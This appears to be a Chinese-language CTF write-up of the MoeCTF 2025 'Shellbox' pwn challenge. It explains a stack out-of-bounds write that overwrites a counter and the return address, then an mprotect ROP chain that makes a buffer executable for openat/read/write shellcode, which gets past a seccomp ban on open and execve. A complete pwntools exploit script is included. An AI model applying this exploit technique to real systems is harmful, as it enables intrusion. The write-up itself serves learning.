Shellbox

moectf2025shellcode图片1.png

有沙箱,看看规则

moectf2025shellcode图片2.png

禁用open和execve

main函数:

moectf2025shellcode图片3.png

题目是静态链接,没有后门函数,那我们先想到的办法就是老老实实用orw(openat)

看代码,首先有一个向buf读入的,但是buf在.bss段,这里不存在栈溢出漏洞,继续看,这里v5等于1和大于9退出循环,之后向v4写入,v4和v5都是局部变量,意味着他们都保存在栈上,这给了我们思路,看它们的位置关系

moectf2025shellcode图片4.png

这里是ida自动命名的,但我们根据rbp的位置可以辨认,此时栈的结构是

内存地址

大小

汇编中的名字

实际对应的 C 变量

rbp+8

8 字节

__return_address

函数返回地址

rbp+0

8 字节

__saved_registers

保存的旧 rbp

rbp-1

4 字节

DWORD var4

v5 (的第4个字节)

rbp-2

v5 (的第3个字节)

rbp-3

v5 (的第2个字节)

rbp-4

v5 (的第1个字节)

rbp-5

1 字节

// padding byte

v4[3]

rbp-6

1 字节

// padding byte

v4[2]

rbp-7

1 字节

// padding byte

v4[1]

rbp-8

1 字节

BYTE var8

v4[0]

rbp-9

\

// padding byte

\

...

8 字节

...

(栈上的其他空间)

rbp-16

/

// padding byte

/

也就是说我们可以通过v4越界覆盖,这里也可以看到并没有canary,可以直接覆盖,那我们首先要越过v5等于1的阻挡,从栈上布局我们就可以想到第一次v5=0然后向v4[8 * 0](v5++是先使用0再加1)写入8字节,也就刚好覆盖v5,我们就可以在此时覆盖v5为1(因为先read完再++,我们在read之后v5就变成了1,这时回到检验循环条件时v5等于2,通过检验),那现在我们再来计算一下,从v5=2到v5=9我们可以覆盖rbp+8到rbp+64,也就是8个8字节,这直接构造orw的rop链肯定不够,这里由于是静态链接,又固定地址,我们可以考虑比较简单的方法就是使用mprotect,我们检查一下也发现mprotect存在,mprotect的rop链需要三个参数,目标地址放rdi,长度放rsi,权限放rdx(0x7),我们发现可以找到这些gadget,那我们的shellcode放哪里呢,这里我们前面有一个向buf的读入,那我们就可以直接放buf(gdb检查过了是可读可写不可执行),那我们计算一下发现8个8字节刚好够放这个rop链的(最后一个要放buf的地址,因为这样执行完mprotect后它自带的ret会使cpu跳转到buf执行我们的shellcode),注意这里我们是从v5=2开始覆盖,刚好是rbp+8(返回地址),所以我们不需要覆盖旧的rbp,然后就是直接使用shellcodecraft来直接生成shellcode了,这题就解决了。

EXP:

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
#p=remote('localhost',9000)
p=process('./pwn')
mprotect=0x443520
pop_rdi=0x401a40
pop_rsi=0x401a42
pop_rdx=0x401a44
buf=0x4ceb60
bss=buf+0x200
#-100代表从当前目录打开,如果是open就用
shellcode=shellcraft.openat(-100,'./flag\x00')
#这里的3是文件描述符,一般来说是3
shellcode+=shellcraft.read(3,bss,0x50)
shellcode+=shellcraft.write(1,bss,0x50)
payload=asm(shellcode)
p.sendafter(b'fill it.\n',payload)
payload=b'aaaa'+p32(1)
rop=flat([
    pop_rdi,
    0x4ce000,
    pop_rsi,
    0x1000,
    pop_rdx,
    0x7,
    mprotect,
    buf
])
p.sendafter(b'>',payload)
for i in range(8):
    p.sendafter(b'>',rop[i*8:i*8+8])
p.interactive()

题目链接:

CTF-Writeups/MoeCTF/shellbox at main · ZenDuk17/CTF-Writeups


Shellbox
http://localhost:8080/archives/wei-ming-ming-wen-zhang
作者
ZenDuk
发布于
2025年11月11日
许可协议